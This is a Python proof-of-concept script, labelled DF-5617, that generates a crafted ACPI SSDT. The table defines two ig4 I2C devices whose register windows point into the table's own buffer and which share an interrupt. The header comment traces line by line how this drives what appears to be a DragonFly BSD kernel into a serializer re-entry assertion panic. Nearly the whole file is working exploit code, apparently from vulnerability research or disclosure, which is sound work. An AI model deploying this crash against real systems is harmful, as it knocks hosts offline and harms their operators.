DF-5617 / gen_ssdt.py
#!/usr/bin/env python3 # DF-5617 โ generate the self-referential two-device SSDT ASL. # # The DesignWare register files (two 0x1000-byte windows, each covering the # driver's reads through IG4_REG_GENERAL at +0x808, ig4_iic.c:504-508) are # embedded as AML Buffer pad data inside this SSDT itself. QEMU places the # appended SSDT in the fw_cfg ACPI area (0xBFFE....) โ RAM from the guest's # perspective (stateful), but not SMAP "System RAM", so ram_attach() # (nexus.c:653-705) has not reserved it in nexus mem_rman and the _CRS # allocations succeed. # # Two devices on the same GSI (16, the virtio MSI-X vector registered by # register_int_virtual with NO rman entry โ kern_intr.c:637): the IOAPIC # auto-balancer round-robins their registrations across different CPUs; # virtio's handlers cover 5 of 6 CPUs, so at least one ig4's # bus_setup_intr() -> nexus_setup_intr() -> register_int(16, INTR_EXCL) # collides with an existing handler (kern_intr.c:276/284) -> NULL -> EINVAL # -> ig4_iic.c:648-655 returns with the serializer held -> ig4_acpi.c:134 # ig4iic_acpi_detach() -> ig4_iic.c:678 lwkt_serialize_enter() re-entry -> # INVARIANTS KKASSERT panic. # # Per-window layout (Wn = window base): # Wn+0x0F8 COMP_VER = 0x3131352A (passes the IG4_ATOM gate) # Wn+0x0FC COMP_TYPE = 0x33C2D0C0 (print only) # Wn+0x100 magic marker "DF5617A!" / "DF5617B!" (locates the window) import sys PAD = 0x2000 def build_pad(): pad = bytearray(PAD) def p64(off, b): pad[off:off+8] = b def p32(off, val): pad[off:off+4] = val.to_bytes(4, 'little') p32(0x0F8, 0x3131352A); p32(0x0FC, 0x33C2D0C0); p64(0x100, b"DF5617A!") p32(0x10F8, 0x3131352A); p32(0x10FC, 0x33C2D0C0); p64(0x1100, b"DF5617B!") return pad def gen_asm(w0, out): pad = build_pad() bytes_lit = ",".join("0x%02x" % b for b in pad) w1 = w0 + 0x1000 asm = f'''/* * DF-5617 PoC SSDT (generated by gen_ssdt.py) โ two ig4 ACPI devices whose * _CRS point their DesignWare register files into this SSDT's own pad * buffer, both on GSI 16 (virtio MSI-X vector: handler registered via * register_int_virtual, rman-free). */ DefinitionBlock ("ssdt_ig4p.aml", "SSDT", 2, "DFLY", "IG4ACPI", 0x00000001) {{ Name (PAD, Buffer (0x2000) {{{bytes_lit}}}) Scope (\\_SB) {{ Device (I2C8) {{ Name (_HID, "INT33C2") Name (_CRS, ResourceTemplate () {{ Memory32Fixed (ReadWrite, 0x{w0:08X}, 0x00001000) Interrupt (ResourceConsumer, Level, ActiveHigh, Exclusive) {{ 24 }} }}) }} Device (I2C9) {{ Name (_HID, "INT33C3") Name (_CRS, ResourceTemplate () {{ Memory32Fixed (ReadWrite, 0x{w1:08X}, 0x00001000) Interrupt (ResourceConsumer, Level, ActiveHigh, Exclusive) {{ 24 }} }}) }} }} }} ''' open(out, "w").write(asm) if __name__ == "__main__": gen_asm(int(sys.argv[1], 0), sys.argv[2]) print("wrote", sys.argv[2], "w0=%#x" % int(sys.argv[1], 0)) |